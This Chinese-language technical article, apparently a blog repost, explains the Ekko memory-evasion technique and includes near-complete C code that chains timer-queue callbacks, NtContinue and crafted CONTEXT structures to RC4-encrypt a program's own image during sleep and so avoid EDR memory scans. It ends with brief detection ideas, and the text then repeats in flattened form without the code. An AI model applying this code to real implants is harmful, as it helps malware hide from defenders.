【Web实战】内存免杀-Ekko项目解读
字数 1233 2025-08-10 08:28:35

Ekko内存免杀技术深度解析

1. 概述

Ekko项目是一种创新的内存免杀技术,它通过巧妙的内存加密/解密机制来绕过EDR(终端检测与响应)系统对内存的扫描检测。EDR通常会扫描程序的内存空间,检测是否存在恶意软件特征码,这与静态检测类似,只是扫描对象从硬盘变成了内存。

传统的内存加密方法存在一个根本性问题:程序无法自己加密自己,因为加密后代码将无法执行。Ekko项目通过创新的方法解决了这一难题,实现了程序对自己内存的加密和解密。

2. 核心API解析

Ekko项目使用了以下几个关键Windows API:

2.1 事件和计时器相关API

  • CreateEvent(): 创建或打开一个事件对象
  • SetEvent(): 将事件对象设置为已通知状态
  • CreateTimerQueue(): 创建计时器队列
  • CreateTimerQueueTimer(): 创建计时器队列计时器

CreateTimerQueueTimer函数参数详解:

BOOL CreateTimerQueueTimer(
    [out] PHANDLE phNewTimer,      // 接收计时器句柄的缓冲区
    [in, optional] HANDLE TimerQueue, // 计时器队列句柄
    [in] WAITORTIMERCALLBACK Callback, // 回调函数
    [in, optional] PVOID Parameter,   // 回调函数参数
    [in] DWORD DueTime,           // 首次触发延迟时间(毫秒)
    [in] DWORD Period,            // 周期(毫秒),0表示单次触发
    [in] ULONG Flags              // 标志位
);

2.2 内存和线程控制API

  • WaitForSingleObject(): 等待对象变为已通知状态或超时
  • SystemFunction032(): 提供RC4加密功能的内存加密API
  • RtlCaptureContext(): 捕获当前线程的CONTEXT结构
  • NtContinue(): 根据CONTEXT结构恢复线程执行

3. CONTEXT结构的重要性

CONTEXT结构存储了线程运行时寄存器的值,包括:

  • RIP (指令指针)
  • RSP (栈指针)
  • 其他通用寄存器等

通过修改CONTEXT结构,可以精确控制程序的执行流程,这是Ekko项目的核心技术之一。

4. Ekko实现原理详解

4.1 初始化阶段

// 创建事件对象和计时器队列
hEvent = CreateEventW(0, 0, 0, 0); // 创建未通知状态的事件
hTimerQueue = CreateTimerQueue();   // 创建计时器队列

// 获取关键函数地址
NtContinue = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue");
SysFunc032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

// 获取当前程序基地址和大小
ImageBase = GetModuleHandleA(NULL);
ImageSize = ((PIMAGE_NT_HEADERS)((DWORD64)ImageBase + 
           ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;

4.2 捕获和准备CONTEXT结构

// 捕获当前线程CONTEXT
if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, 
    (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) 
{
    WaitForSingleObject(hEvent, 0x32);
    
    // 复制CONTEXT用于不同操作
    memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
    memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
}

4.3 构造各功能CONTEXT结构

修改内存权限为可读写

// VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect);
RopProtRW.Rsp -= 8;  // 调整栈指针
RopProtRW.Rip = (DWORD64)VirtualProtect;  // 设置指令指针
RopProtRW.Rcx = (DWORD64)ImageBase;       // 第一个参数
RopProtRW.Rdx = (DWORD64)ImageSize;       // 第二个参数
RopProtRW.R8 = PAGE_READWRITE;            // 第三个参数
RopProtRW.R9 = (DWORD64)&OldProtect;      // 第四个参数

加密内存

// SystemFunction032(&Key, &Img);
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)SysFunc032;
RopMemEnc.Rcx = (DWORD64)&Img;
RopMemEnc.Rdx = (DWORD64)&Key;

睡眠延迟

// WaitForSingleObject(hTargetHdl, SleepTime);
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = SleepTime;

解密内存

// SystemFunction032(&Key, &Img);
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)SysFunc032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;

修改内存权限为可执行

// VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect);
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)VirtualProtect;
RopProtRX.Rcx = (DWORD64)ImageBase;
RopProtRX.Rdx = (DWORD64)ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect;

设置事件通知

// SetEvent(hEvent);
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent;

4.4 执行流程编排

Ekko通过计时器队列精确控制各操作的执行顺序和时间:

// 100ms后: 取消内存可执行权限
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);

// 200ms后: 加密内存
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);

// 300ms后: 睡眠
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);

// 400ms后: 解密内存
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);

// 500ms后: 恢复内存可执行权限
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);

// 600ms后: 设置事件通知
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

5. 技术要点总结

  1. 异步执行控制:通过计时器队列实现各操作的异步、定时执行
  2. 内存权限管理:在加密前取消可执行权限,解密后恢复可执行权限
  3. 自我加密解密:通过精心编排的执行流程,实现程序对自己内存的加密和解密
  4. CONTEXT操控:通过修改CONTEXT结构模拟函数调用,避免直接调用导致的执行流问题
  5. 时间控制:精确控制各操作的执行时机,确保流程正确性

6. 防御思路

针对Ekko这类内存免杀技术,防御方可以考虑以下方法:

  1. 监控关键API调用序列,特别是CreateTimerQueueTimerNtContinue的组合
  2. 检测异常的内存权限变更模式
  3. 分析计时器行为的异常模式
  4. 监控RC4加密操作的内存上下文

Ekko项目展示了高级内存规避技术的实现原理,对攻防双方都具有重要的研究价值。防御方需要深入理解这些技术才能开发出有效的检测方法。

Ekko内存免杀技术深度解析 1. 概述 Ekko项目是一种创新的内存免杀技术,它通过巧妙的内存加密/解密机制来绕过EDR(终端检测与响应)系统对内存的扫描检测。EDR通常会扫描程序的内存空间,检测是否存在恶意软件特征码,这与静态检测类似,只是扫描对象从硬盘变成了内存。 传统的内存加密方法存在一个根本性问题:程序无法自己加密自己,因为加密后代码将无法执行。Ekko项目通过创新的方法解决了这一难题,实现了程序对自己内存的加密和解密。 2. 核心API解析 Ekko项目使用了以下几个关键Windows API: 2.1 事件和计时器相关API CreateEvent() : 创建或打开一个事件对象 SetEvent() : 将事件对象设置为已通知状态 CreateTimerQueue() : 创建计时器队列 CreateTimerQueueTimer() : 创建计时器队列计时器 CreateTimerQueueTimer 函数参数详解: 2.2 内存和线程控制API WaitForSingleObject() : 等待对象变为已通知状态或超时 SystemFunction032() : 提供RC4加密功能的内存加密API RtlCaptureContext() : 捕获当前线程的CONTEXT结构 NtContinue() : 根据CONTEXT结构恢复线程执行 3. CONTEXT结构的重要性 CONTEXT结构存储了线程运行时寄存器的值,包括: RIP (指令指针) RSP (栈指针) 其他通用寄存器等 通过修改CONTEXT结构,可以精确控制程序的执行流程,这是Ekko项目的核心技术之一。 4. Ekko实现原理详解 4.1 初始化阶段 4.2 捕获和准备CONTEXT结构 4.3 构造各功能CONTEXT结构 修改内存权限为可读写 加密内存 睡眠延迟 解密内存 修改内存权限为可执行 设置事件通知 4.4 执行流程编排 Ekko通过计时器队列精确控制各操作的执行顺序和时间: 5. 技术要点总结 异步执行控制 :通过计时器队列实现各操作的异步、定时执行 内存权限管理 :在加密前取消可执行权限,解密后恢复可执行权限 自我加密解密 :通过精心编排的执行流程,实现程序对自己内存的加密和解密 CONTEXT操控 :通过修改CONTEXT结构模拟函数调用,避免直接调用导致的执行流问题 时间控制 :精确控制各操作的执行时机,确保流程正确性 6. 防御思路 针对Ekko这类内存免杀技术,防御方可以考虑以下方法: 监控关键API调用序列,特别是 CreateTimerQueueTimer 与 NtContinue 的组合 检测异常的内存权限变更模式 分析计时器行为的异常模式 监控RC4加密操作的内存上下文 Ekko项目展示了高级内存规避技术的实现原理,对攻防双方都具有重要的研究价值。防御方需要深入理解这些技术才能开发出有效的检测方法。